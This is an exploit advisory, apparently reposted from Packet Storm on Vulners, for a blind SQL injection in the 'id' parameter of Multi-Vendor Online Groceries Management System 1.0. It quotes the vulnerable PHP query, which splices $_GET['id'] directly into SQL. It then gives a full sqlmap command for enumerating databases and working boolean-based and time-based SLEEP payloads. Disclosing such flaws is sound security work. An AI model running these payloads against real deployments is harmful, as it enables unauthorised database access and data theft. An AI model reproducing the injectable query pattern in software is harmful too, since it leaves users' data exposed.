Lucene search
K

Multi-Vendor Online Groceries Management System 1.0 SQL Injection

🗓️ 16 Feb 2022 00:00:00Reported by Saud AlenaziType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 209 Views

Multi-Vendor Online Groceries Management System 1.0 SQL Injection - Blind SQL Injection in 'id' paramete

Code
`# Exploit Title: Multi-Vendor Online Groceries Management System 1.0 - 'id' Blind SQL Injection  
# Date: 11/02/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Windows 10  
  
  
# Vulnerable Code  
  
line 2 in file "mvogms/products/view_product.php  
  
$qry = $conn->query("SELECT p.*, v.shop_name as vendor, c.name as `category` FROM `product_list` p inner join vendor_list v on p.vendor_id = v.id inner join category_list c on p.category_id = c.id where p.delete_flag = 0 and p.id = '{$_GET['id']}'");  
  
# Sqlmap command:  
  
sqlmap -u 'localhost/mvogms/?page=products/view_product&id=3' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch  
  
# Output:  
  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: page=products/view_product&id=3' AND 9973=9973-- ogag  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=products/view_product&id=3' AND (SELECT 2002 FROM (SELECT(SLEEP(5)))anjK)-- glsQ  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation